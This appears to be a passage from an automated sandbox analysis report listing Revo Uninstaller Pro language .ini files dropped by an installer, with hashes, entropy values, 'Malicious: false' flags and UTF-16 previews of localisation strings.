Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.K.u.r.d.../.K.u.r.d.i.s.h.....W.e.b.L.a.n.g.=.K.U.R.....T.r.a.n.s.l.a.t.o.r.=.O.c.c.o. .M.a.h.a.b.a.d. .-. .o.c.c.o.7.4.@.h.o.t.m.a.i.l...c.o.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.2...5...3.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .D...m.e.n.....1.0.3. .=. .E.y.a.r.....1.0.4. .=. .U.n.i.n.s.t.a.l.l.e.r./.R.a.k.e.r.....1.0.5. .=. .A.m...r.....1.0.6. .=. .M.o.d.a. .N.......r.v.a.n.....1.0.7. .=. .L...s.t.e.....1.0.8. .=. .S...m.g.e.....1.0.9. .=. .D.e.t.a.y.....1.1.0. .=. .R.a.k.e.....1.1.1. .=. .Q.e.y.d... .R.a.k.e.....1.1.2. .=. .N... .B.i.k.e.....1.1.3. .=. .Q.e.y.d.a. .h.i.l.b.i.j.a.r.t... .w.e.r.e. .r.a.k.i.r.i.n.?.....1.1.4. .=. .B.e.r.n.a.m.e.y.a. .h.i.l.b.i.j.a.r.t... .w.e.r.e. .r.a.k.i.r.i.n.?.....1.1.5. .=. .R.o.j.a.n.e. .B.i.k.e.....1.1.6. .=. .A.l...

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\macedonian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (484), with CRLF line terminators
Category:	dropped
Size (bytes):	110288
Entropy (8bit):	3.9383295798946234
Encrypted:	false
SSDEEP:	3072:4seY/kLsTdMxIxQazH+KM5N59cSvvbbuig36p7Ne8hVudV1vNWM3ktFRDlxD8ygB:jeY/6xIxQazH+KM5N59cSvvbbuig3SuD
MD5:	B78738D6771FCA62516F8EB15C9460DB
SHA1:	69D6F4193A9CD53776162E491BA0C78CDAE77966
SHA-256:	A93CFABCDCC7D9876EBD2BD3775E77EE4B194870A981588F747BC01F7EC86FB5
SHA-512:	5CCE82FCA675751A9E22C0F15C938C237B15E63422DE436A6E448D34F8FB8819E9F41E4F01B5117983F615B38029363FC7B1DBC58B7B9268BC1B54294A803652
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=...0.:.5.4.>.=.A.:.8./.M.a.c.e.d.o.n.i.a.n.....W.e.b.L.a.n.g.=.M.K.D.....T.r.a.n.s.l.a.t.o.r.=.0.1. .V.l.a.t.c.e.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...7.3.;.5.4.....1.0.3. .=. ...?.F.8.8.....1.0.4. .=. ...5.8.=.A.B.0.;.5.@.....1.0.5. .=. ...;.0.B.:.8.....1.0.6. .=. ...>.4. .=.0. .1.0.@.0.Z.5.....1.0.7. .=. ...8.A.B.0.....1.0.8. .=. ...:.>.=.8.....1.0.9. .=. ...5.B.0.;.8.....1.1.0. .=. ...5.8.=.A.B.0.;.8.@.0.X.....1.1.1. .=. ...B.A.B.@.0.=.8. .3.>. .2.=.5.A.>.B.....1.1.2. .=. ...A.2.5.6.8.....1.1.3. .=. ...0.;.8. .A.B.5. .A.8.3.C.@.=.8. .4.5.:.0. .A.0.:.0.B.5. .4.0. .3.>. .B.@.3.=.5.B.5. .A.5.;.5.:.B.8.@.0.=.8.>.B. .2.=.5.A.?.....1.1.4. .=. ...0.;.8. .A.B.5. .A.8.3.C.@.=.8. .4.5.:.0. .A.0.:.0.B.5. .4.0. .3.>. .4.5.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\norwegian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (435), with CRLF line terminators
Category:	dropped
Size (bytes):	116584
Entropy (8bit):	3.4724567340731216
Encrypted:	false
SSDEEP:	3072:FW7jQkbLU+miBrdji6E+X4teDexIa073UCYIRWq13rSsVLYU4:Mbi
MD5:	D5A24F2D5AE12A843240E354EB26BCD6
SHA1:	A2BD707D7195CD1A3163D4F33750457F5D889DE9
SHA-256:	FF3F554C0F9249C1F76E7E9B2F4CA8EDE2CA42459BE3BE37A483DEC10D64F73E
SHA-512:	533F1FF1D5414A1941C408BB29B855B2D1851CE05C5EFEA24B9D4AFA7232933CC08BB67DFCCBA4F4B3C0798F934AC4452730A1164C17ECAE0C6C8BE69D0ABCF4
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .N.o.r.s.k./.N.o.r.w.e.g.i.a.n.....W.e.b.L.a.n.g.=.N.O.R.....T.r.a.n.s.l.a.t.o.r.=.P.a.a.l. .R.o.n.n.i.n.g.e.n.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .V.i.s.....1.0.3. .=. .A.l.t.e.r.n.a.t.i.v.....1.0.4. .=. .A.v.i.n.s.t.a.l.l.e.r.e.r.....1.0.5. .=. .V.e.r.k.t...y.....1.0.6. .=. .J.a.k.t.m.o.d.u.s.....1.0.7. .=. .L.i.s.t.e.....1.0.8. .=. .I.k.o.n.e.r.....1.0.9. .=. .D.e.t.a.l.j.e.r.....1.1.0. .=. .A.v.i.n.s.t.a.l.l.e.r.e.....1.1.1. .=. .T.a. .b.o.r.t. .p.o.s.t.....1.1.2. .=. .O.p.p.d.a.t.e.r.e. .p.r.o.g.r.a.m.l.i.s.t.e.n.....1.1.3. .=. .V.i.l. .d.u. .v.i.r.k.e.l.i.g. .t.a. .b.o.r.t. .V.a.l.g.t. .p.o.s.t.?.....1.1.4. .=. .V.i.l. .d.u. .v.i.r.k.e.l.i.g. .t.a. .b.o.r.t. .V.a.l.g.t. .p.r.o.g.r.a.m.?.....1.1.5. .=. .O.p.p.d.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\persian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (1970), with CRLF line terminators
Category:	dropped
Size (bytes):	121434
Entropy (8bit):	3.814439127324583
Encrypted:	false
SSDEEP:	768:loaWsQeVjoYi8L0q1NzZ08iZnDt9+b311fUiXMkISCNXLz3UhUp:cr4oYi8L0q1c8MDv+bl1fhyBz3so
MD5:	3C10E3A4E879163DC1AC916D3AAE316C
SHA1:	3F5D75D837EF2490AB6C5B035855766443DF5A4B
SHA-256:	7173C74A1CD8F6AE7AEABF34A4AFA18DA73D1E595850C06953BF70CA8326F3D0
SHA-512:	14538BDFE3DFE2EE7DA9FF84E7E13B591732F0161622C203DB487009A6CB23E2760BEC5459B5FAD620184F2CC19F09D5865DF8F03C51BFD44A18C4CEE73AE03C
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.A.'.1.3.J./.P.e.r.s.i.a.n.....W.e.b.L.a.n.g.=.F.A.R.....T.r.a.n.s.l.a.t.o.r.=.E.G.F./.3. .9.(./.'.D.1.6.'. .4.A.'..... .\|. .E.d.i.t.e.d. .B.y. .A.l.i.r.e.z.a. .K.a.l.a.l.i.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .....V.e.r.s.i.o.n.=.4...0...5.........[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2.=.F.E.'.J.4.....1.0.3.=..F.8.J.E.'......1.0.4.=.-.0.A. ...F.F./.G.....1.0.5.=.'.(.2.'.1.G.'.....1.0.6.=.-.'.D..\.n. .4...'.1...J.....1.0.7.=.A.G.1.3......1.0.8.=.4.E.'.J.D.....1.0.9.=.,.2.&.J.'......1.1.0.=.-.0.A. .(.1.F.'.E.G.....1.1.1.=.-.0.A. .H.1.H./.J. .....1.1.2.=..'.2.G. .3.'.2.J.....1.1.3.=.".J.'. .E.7.E.&.F. .(.G. .-.0.A. .H.1.H./.J. .'.F....'.(. .4./.G. .G.3..J./. .......1.1.4.=.".J.'. .E.7.E.&.F. .(.G. ...1.H.,. .(.1.F.'.E.G. .(.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\polish.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (512), with CRLF line terminators
Category:	dropped
Size (bytes):	125354
Entropy (8bit):	3.6916938529521914
Encrypted:	false
SSDEEP:	768:loKRrsLkYOChte3GW00OKansDxs1ugPaqP9L97jcpvqRtNCOuvMYrcmPulvhvFNO:GRJnsDyYgP5P9LWEZBPCzAObr
MD5:	00E4EA38C09BE2C82D4062345B74C975
SHA1:	1644834E917EF74EF374C63D740076C61B18F07F
SHA-256:	20F8BDF0C06B31434AD9A6D515477A86D84E758490E47DB1724E358A48A650F3
SHA-512:	7CFC2B303F1B8CB25B63B726491A0062F2184D7E2A60911EB3235E3E8F50167610C043F2C3E0DF32C6DE76C454D2D74597F286988D87BE3D81259AAC3426CE18
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.P.o.l.s.k.i./.P.o.l.i.s.h.....W.e.b.L.a.n.g.=.P.L.....T.r.a.n.s.l.a.t.o.r.=.h.i.r.y.u.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .W.i.d.o.k.....1.0.3. .=. .O.p.c.j.e.....1.0.4. .=. .D.e.i.n.s.t.a.l.a.t.o.r.....1.0.5. .=. .N.a.r.z...d.z.i.a.....1.0.6. .=. .T.r.y.b. .B.o.w.c.y.....1.0.7. .=. .L.i.s.t.a.....1.0.8. .=. .I.k.o.n.y.....1.0.9. .=. .S.z.c.z.e.g...B.y.....1.1.0. .=. .O.d.i.n.s.t.a.l.u.j.....1.1.1. .=. .U.s.u.D. .w.p.i.s.....1.1.2. .=. .O.d.[.w.i.e.\|.....1.1.3. .=. .C.z.y. .n.a. .p.e.w.n.o. .u.s.u.n..... .z.a.z.n.a.c.z.o.n.y. .o.b.i.e.k.t.?.....1.1.4. .=. .C.z.y. .n.a. .p.e.w.n.o. .o.d.i.n.s.t.a.l.o.w.a... .z.a.z.n.a.c.z.o.n.y. .p.r.o.g.r.a.m.?.....1.1.5. .=. .A.k.t.u.a.l.i.z.u.j.....1.1.6. .=. .P.o.m.o.c.....

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\portuguese.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (772), with CRLF line terminators
Category:	dropped
Size (bytes):	140588
Entropy (8bit):	3.4494661461016882
Encrypted:	false
SSDEEP:	1536:L3UBZgoBUk7SJAW+UMwHdaIaSnutDxbheao+fBpdaA1a16Q1D5DerB2Tm:YghYgnutD7/
MD5:	500FBED3543879F343C8081B2FDF1FF5
SHA1:	AC859C7013C87DD824C73ED77970BD973762EEE0
SHA-256:	9436996BABA11BC3CFD246CEB4C3F70185806A5612027990D6999F469E09AC5E
SHA-512:	D1337F8723E5C3FAD06AFF44E2DE82D7DC9A42614C7F88C465BE28665EEF2374DE75C788D335112CAF54F24562354D2B03175EBC7E567FEE60522E6EA1A1BCFE
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h. .....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=. .P.o.r.t.u.g.u...s./.P.o.r.t.u.g.u.e.s.e.....W.e.b.L.a.n.g.=.P.T.G.....T.r.a.n.s.l.a.t.o.r.=.L.u.i.s. .N.e.v.e.s. .(.l.u.i.s...a...n.e.v.e.s.@.s.a.p.o...p.t.). . .....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .V.e.r.....1.0.3. .=. .O.p.....e.s.....1.0.4. .=. .D.e.s.i.n.s.t.a.l.a.d.o.r.....1.0.5. .=. .F.e.r.r.a.m.e.n.t.a.s.....1.0.6. .=. .M.o.d.o. .C.a...a.d.o.r. .....1.0.7. .=. .L.i.s.t.a.....1.0.8. .=. ...c.o.n.e.s.....1.0.9. .=. .D.e.t.a.l.h.e.s.....1.1.0. .=. .D.e.s.i.n.s.t.a.l.a.r. .....1.1.1. .=. .R.e.m.o.v.e.r. .e.n.t.r.a.d.a. .....1.1.2. .=. .A.c.t.u.a.l.i.z.a.r. .....1.1.3. .=. .T.e.m. .a. .c.e.r.t.e.z.a. .q.u.e. .d.e.s.e.j.a. .r.e.m.o.v.e.r. .a. .e.n.t.r.a.d.a. .s.e.l.e.c.c.i.o.n.a.d.a.?.....1.1.4. .=. .T.e.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\portuguese_standard.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (772), with CRLF line terminators
Category:	dropped
Size (bytes):	125262
Entropy (8bit):	3.4481536085983775
Encrypted:	false
SSDEEP:	1536:MOghAQX7wHPV3eonAqBL2h2OUFD5LVpi9:lghv5oK
MD5:	B5AA8BE80DAE51043BA6408D1D6B107E
SHA1:	6BE2B588839C87B3D8F25C3F5BEB7975AECB98E0
SHA-256:	E20F73F5E342B823B79F1C8C4D7EEF101A09127DB0700FCD79FDEF43F3CC25D7
SHA-512:	7CBFFEF592359D953A12788C558EF6AB31B468AA5ECC774FD3D22E3279C82DBAF16B1849F1B99A820F189FA36FFFA4564A2C3D7EC5042EB191FF390BB943828C
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h. .....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.P.o.r.t.u.g.u...s. .(.P.o.r.t.u.g.a.l.).....W.e.b.L.a.n.g.=.P.T.G.S.T.D.....T.r.a.n.s.l.a.t.o.r.=.M.a.n.u.e.l.a. .S.i.l.v.a. .-. .L.u.i.s. .N.e.v.e.s. .(.l.u.i.s...a...n.e.v.e.s.@.s.a.p.o...p.t.). .-. .P.l.e.a.s.e. .d.o.n.'.t. .r.e.m.o.v.e. .t.h.e. .t.r.a.n.s.l.a.t.i.o.n. .w.i.t.h. .A.O. .1.9.9.0... .....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.4...0...5.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .V.e.r.....1.0.3. .=. .O.p.....e.s.....1.0.4. .=. .D.e.s.i.n.s.t.a.l.a.d.o.r.....1.0.5. .=. .F.e.r.r.a.m.e.n.t.a.s.....1.0.6. .=. .M.o.d.o. .P.e.s.q.u.i.s.a. .....1.0.7. .=. .L.i.s.t.a.....1.0.8. .=. ...c.o.n.e.s.....1.0.9. .=. .D.e.t.a.l.h.e.s.....1.1.0. .=. .D.e.s.i.n.s.t.a.l.a.r. .....1.1.1. .=. .R.e.m.o.v.e.r. .E.n.t.r.a.d.a. .....1.1.2. .=. .A.t.u.a.l.i.z.a.r. .....1.1.3.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\portuguesebrazil.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (724), with CRLF line terminators
Category:	dropped
Size (bytes):	131952
Entropy (8bit):	3.471989974502818
Encrypted:	false
SSDEEP:	768:FrEbxaRaTtwkYAUc0tPNfKp+2MS1TXjUiU8v908:6bxaRaTqkVU3lNfKp+2MS1TXjUZWt
MD5:	BA3D16BF985F428DAB06AAA6CE7CE7B4
SHA1:	C8980ECE865ECD907A0FE43B8D2E898BE3276DFF
SHA-256:	F17E90AAC63F2E9630C81D73B9756A41B951874C44A483AA4E354D013E70D8B8
SHA-512:	0140E007F63F4BB84F6340C153E21138504292B1EA6EA7483747212CF4D437C5D449FE10989B4E341D9B3554B20BD780EBADC3D61C481FB25BB3F6653A1557CD
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h. .....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.P.o.r.t.u.g.u...s. ./. .P.o.r.t.u.g.u.e.s.e.(.B.r.a.s.i.l.).....W.e.b.L.a.n.g.=.P.T.-.B.R.....T.r.a.n.s.l.a.t.o.r.=.H...l.i.o. .d.e. .S.o.u.z.a. ./. .R.u.l.i.e.n. .O.l.d.a.n.i.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...0...3.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .E.x.i.b.i.r.....1.0.3. .=. .O.p.....e.s.....1.0.4. .=. .D.e.s.i.n.s.t.a.l.a.d.o.r.....1.0.5. .=. .F.e.r.r.a.m.e.n.t.a.s.....1.0.6. .=. .M.o.d.o.\.n.C.a...a.d.o.r. .....1.0.7. .=. .L.i.s.t.a.....1.0.8. .=. .I.c.o.n.e.s.....1.0.9. .=. .D.e.t.a.l.h.e.s.....1.1.0. .=. .D.e.s.i.n.s.t.a.l.a.r. .....1.1.1. .=. .R.e.m.o.v.e.r. .e.n.t.r.a.d.a. .....1.1.2. .=. .A.t.u.a.l.i.z.a.r. .....1.1.3. .=. .D.e.s.e.j.a. .r.e.m.o.v.e.r. .a. .e.n.t.r.a.d.a. .s.e.l.e.c.i.o.n.a.d.a.?.....1.1.4. .=. .D.e.s.e.j.a. .d.e.s.i.n.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\romanian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (746), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	138760
Entropy (8bit):	3.5938846070402
Encrypted:	false
SSDEEP:	1536:HN2MUMqfeZIyimlMWqCZLhewtbOIYe/1ifCWUINoE/hOsbg00p:t9UKXZ1eSjVA/U
MD5:	C76ADB4BB2BDB3722F0D0AA395F16262
SHA1:	B4594519DD221ECAEFC0D90909157F9C124811CE
SHA-256:	4635B47EFC36101D5AC7BBE3D529EF4850A2785CA59B8DD08541873D2579C083
SHA-512:	ABB1FCA558326124605D24B79670871B30E91977F1DA14DEC36AE61B5D3B53FB294ED80A3EF111B138B2970F9D3D22C7FAAB810A87613CD035614D4A05D69F33
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.R.o.m...n... ./. .R.o.m.a.n.i.a.n.....W.e.b.L.a.n.g.=.R.O.....T.r.a.n.s.l.a.t.o.r.=.A.l.e.x.a.n.d.r.u. .B.o.g.d.a.n. .M.u.n.t.e.a.n.u.,. .M.a.r.i.n.e.l. .C.i.p.u.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .V.e.d.e.r.e.....1.0.3. .=. .O.p...i.u.n.i.....1.0.4. .=. .D.e.z.i.n.s.t.a.l.a.t.o.r.....1.0.5. .=. .U.n.e.l.t.e.....1.0.6. .=. .V...n...t.o.r.....1.0.7. .=. .L.i.s.t.......1.0.8. .=. .I.c.o.a.n.e.....1.0.9. .=. .D.e.t.a.l.i.i.....1.1.0. .=. .D.e.z.i.n.s.t.a.l.e.a.z.......1.1.1. .=. ...n.l...t.u.r.......1.1.2. .=. ...m.p.r.o.s.p...t.e.a.z.......1.1.3. .=. .S.i.g.u.r. .v.r.e.i. .s... ...n.l...t.u.r.i. .i.n.t.r.a.r.e.a. .s.e.l.e.c.t.a.t...?.....1.1.4. .=. .S.i.g.u.r. .v.r.e.i. .s... .d.e.z.i.n.s.t.a.l.e.z.i. .p.r.o.g.r.a.m.u.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\russian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (770), with CRLF line terminators
Category:	dropped
Size (bytes):	136156
Entropy (8bit):	3.9772752876308854
Encrypted:	false
SSDEEP:	3072:Ugzuz4NjXBv1p4Yo2PklcxThfaZE2kYK1X5+P3b1rIdkXmU+g9X:Ug86XBv1p4Yo2PklcxThfaZE2DP3b1rX
MD5:	A3F615CEE1B2AB1423853E0DCE67812C
SHA1:	80EF64ABB8D7C8DBDEA00FD5552956F1750F3FF5
SHA-256:	C4A2025D189CB616B4CFC45BAC348CF36D583964EA1936DF309C03CDA5C0104C
SHA-512:	5D4C7AEA6E50B1DD4BE63357F04C3C1DA148BF6D5F8A55E797B405046EDBB8CF9858407F6A663F78A372992D6888A64ADB6AAE605C21C6B9ABF750CAAA18EDC9
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e. .=. . .C.A.A.:.8.9./.R.u.s.s.i.a.n.....W.e.b.L.a.n.g.=.R.U.S.....T.r.a.n.s.l.a.t.o.r. .=. .V.S. .R.e.v.o. .G.r.o.u.p.,. .e.d.i.t.e.d. .b.y. .L.u.b.e.r.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E.....V.e.r.s.i.o.n.=.5...3...4.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. ...8.4.....1.0.3. .=. ...0.@.0.<.5.B.@.K.....1.0.4. .=. ...5.8.=.A.B.0.;.;.O.F.8.O.....1.0.5. .=. ...=.A.B.@.C.<.5.=.B.K.....1.0.6. .=. . .5.6.8.<. .>.E.>.B.K.....1.0.7. .=. .!.?.8.A.>.:.....1.0.8. .=. ...=.0.G.:.8.....1.0.9. .=. .".0.1.;.8.F.0.....1.1.0. .=. .#.4.0.;.8.B.L.....1.1.1. .=. .#.4.0.;.8.B.L.....1.1.2. .=. ...1.=.>.2.8.B.L.....1.1.3. .=. ...K. .4.5.9.A.B.2.8.B.5.;.L.=.>. .E.>.B.8.B.5. .C.4.0.;.8.B.L. .2.K.1.@.0.=.=.K.9. .M.;.5.<.5.=.B. .8.7. .@.5.5.A.B.@.0.?.....1.1.4. .=. ...K. .4.5.9.A.B.2.8.B.5.;.L.=.>. .E.>.B.8.B.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\serbian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (436), with CRLF line terminators
Category:	dropped
Size (bytes):	96936
Entropy (8bit):	3.9548685823094414
Encrypted:	false
SSDEEP:	1536:Mlyvi0HQGqlUfM9T4xYIvZttVc1bVBuqqe25IHo06TVp0DK9k8hLoS60thmlLqtK:Mlyvi0HQGqlUfM54xYIvZttVc1bVBuqZ
MD5:	8A38541BEFDD4A83B3413AF88AB27792
SHA1:	977AE354F1D8529384C241B87232BAAD2A9217C5
SHA-256:	D005F31F65527C1C409B1B43BA1BD0020310C1DDCAB58964BE5F763037F0314D
SHA-512:	C1D954B632DF9DB0F7788E10074BF32DFC306B6D933EBE0A8F778FD831EBFB5DD4908B411430B911515E2AA676C8244E45B3BC4574793B62B193FDACDAECA080
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .e.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.!.@.?.A.:.8./.S.e.r.b.i.a.n. .....W.e.b.L.a.n.g.=.S.R.B.L.T.....T.r.a.n.s.l.a.t.o.r.=.D.r.a.g.a.n. .B.j.e.d.o.v. .d.r.a.g.a.n.b.j.e.d.o.v.@.g.m.a.i.l...c.o.m.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E.....V.e.r.s.i.o.n.=.3...1...1.............[.D.e.i.n.s.t.a.l.e.r. .L.i.n.i.j.a. .s.a. .a.l.a.t.k.a.m.a.].....1.0.2. .=. ...7.3.;.5.4.....1.0.3. .=. ...>.A.B.0.2.:.5.....1.0.4. .=. ...5.8.=.A.B.0.;.5.@.....1.0.5. .=. ...;.0.B.8.....1.0.6. .=. ...@.5.A.@.5.B.0.Z.5.....1.0.7. .=. ...8.A.B.0.....1.0.8. .=. ...:.>.=.5.....1.0.9. .=. ...5.B.0.Y.8.....1.1.0. .=. ...5.8.=.A.B.0.;.8.@.0.X.....1.1.1. .=. .#.:.;.>.=.8. .C.=.>.A.....1.1.2. .=. ...A.2.5.6.8.....1.1.3. .=. .#.:.;.>.=.8.B.8. .>.7.=.0.G.5.=.8. .C.=.>.A.?.....1.1.4. .=. ...5.8.=.A.B.0.;.8.@.0.B.8. .>.7.=.0.G.5.=.8. .?.@.>.3.@.0.<.?.....1.1.5. .=. ...>.3.@.0.4.Z.0.....1.1.6. .=.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\serbianLatin.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (446), with CRLF line terminators
Category:	dropped
Size (bytes):	97878
Entropy (8bit):	3.537880363749942
Encrypted:	false
SSDEEP:	768:woApxpwVcmmL4Htk5SWgduiI/Qyi+9QEo62eTLDme0HLZzzAiY+4mc0MzpUnjhq4:sxpcCSWV/Qa7vb0HFHlbRcVzqt6pTkd
MD5:	6FF7FBB4F81CEF6CEE58E8A9A3973B23
SHA1:	FDAA6816A3172EB4FB336B364B7DCDEC9F807412
SHA-256:	E57B607071C548D701BDD2700D7D70B554FA27292CAE1043F622597235CBA1EF
SHA-512:	FD623CA0205134A94C8D8A46722F6623802C55C69F22DD83F6C4DA32107337BEA20A5B4BE4307151327FF6D5AEFB0FDABB323D903B7789F42CD4907C6E49DDB3
Malicious:	false
